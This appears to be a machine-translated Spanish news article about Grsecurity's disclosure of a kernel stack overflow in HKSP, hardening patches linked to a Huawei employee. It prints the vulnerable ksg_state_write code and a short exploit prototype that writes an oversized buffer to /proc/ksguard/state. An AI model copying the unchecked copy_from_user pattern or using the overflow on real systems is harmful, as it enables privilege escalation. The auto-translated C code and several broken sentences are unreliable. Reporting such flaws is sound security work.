Desarrolladores del proyecto Grsecurity atención a la presencia de una vulnerabilidad trivialmente explotable en el conjunto de parches (Huawei Kernel Self Protection), hace unos días para mejorar la seguridad del kernel de Linux. La situación recuerda , en el que un intento de mejorar la seguridad del sistema provocó la aparición de una nueva vulnerabilidad y facilitó la posibilidad de comprometer dispositivos.
Los parches HKSP fueron publicados por un empleado de Huawei, incluyen una mención de Huawei en el perfil de GitHub y usan la palabra Huawei en el nombre del proyecto (HKSP - Huawei Kernel Self Protection). Al mismo tiempo, los representantes de Huawei negaron la conexión del proyecto HKSP con la empresa y afirmaron que el código fue desarrollado por iniciativa personal del empleado, no es un proyecto oficial de Huawei y no se utiliza en los productos de la empresa. En HKSP retroactivamente vulnerabilidades también Tenga en cuenta que el proyecto se está desarrollando en mi tiempo libre con fines de investigación.
HKSP incluye cambios como la aleatorización de compensaciones en la estructura de crédito, protección contra ataques al espacio de nombres del identificador de usuario (espacio de nombres pid), separación de la pila de procesos del área mmap, detección de llamadas dobles a la función kfree, bloqueo de fugas a través del pseudo -FS /proc (/proc/ {módulos, claves, usuarios clave}, /proc/sys/kernel/* y /proc/sys/vm/mmap_min_addr, /proc/kallsyms), aleatorización de direcciones de espacio de usuario mejorada, Ptrace adicional protección, protección mejorada smap y smep, la capacidad de prohibir el envío de datos a través de sockets sin formato, bloquear direcciones incorrectas en sockets UDP y verificar la integridad de los procesos en ejecución. También incluye el módulo del kernel Ksguard, cuyo objetivo es detectar intentos de introducir rootkits típicos.
Parches Greg Kroah-Hartman, responsable de mantener la rama estable del kernel de Linux, mostró interés y pidió al autor que dividiera el parche monolítico en partes para simplificar la revisión y promoción al kernel principal. Kees Cook, director en tecnología de protección activa en el kernel de Linux, también respondió a los parches y, entre los problemas, llamó la atención sobre la vinculación a la arquitectura x86 y la naturaleza de notificación de muchos modos, que solo registran información sobre el problema, pero no intentan bloquearlo.
Un estudio del parche realizado por los desarrolladores de Grsecurity reveló muchos errores y debilidades en el código, y también mostró la ausencia de un modelo de amenaza que les permitiera juzgar adecuadamente las capacidades del proyecto. Para demostrar claramente que el código se escribió sin utilizar métodos de programación seguros, se proporciona un ejemplo de una vulnerabilidad trivial en el controlador.
archivo /proc/ksguard/state, que se crea con los derechos 0777, lo que implica que todos tienen acceso de escritura. La función ksg_state_write, utilizada para analizar comandos escritos en /proc/ksguard/state, crea un búfer tmp[32] en el que se escriben los datos según el tamaño del operando pasado, sin tener en cuenta el tamaño del búfer de destino y sin comprobando el parámetro con el tamaño de la cadena. Aquellos. Para sobrescribir parte de la pila del kernel, un atacante sólo necesita escribir una línea con formato especial en /proc/ksguard/state.
estático ssize_t ksg_state_write(archivo de estructura *archivo, const char __user *buf,
tamaño_t longitud, loff_t *desplazamiento)
{
valor u64;
char tmp [32];
tamaño_t n = 0;
si (copiar_de_usuario(tmp, buf, len))
devuelve -1;
valor = simple_strtoul(tmp, '\0', 10);
...
Prototipo de explotación:
char buf[4096] = { };
int fd = open(“/proc/ksguard/state”, O_WRONLY);
si (fd >= 0) {
escribir(fd, buf, tamaño de(buf));
cerrar(fd);
}
Fuente: opennet.ru
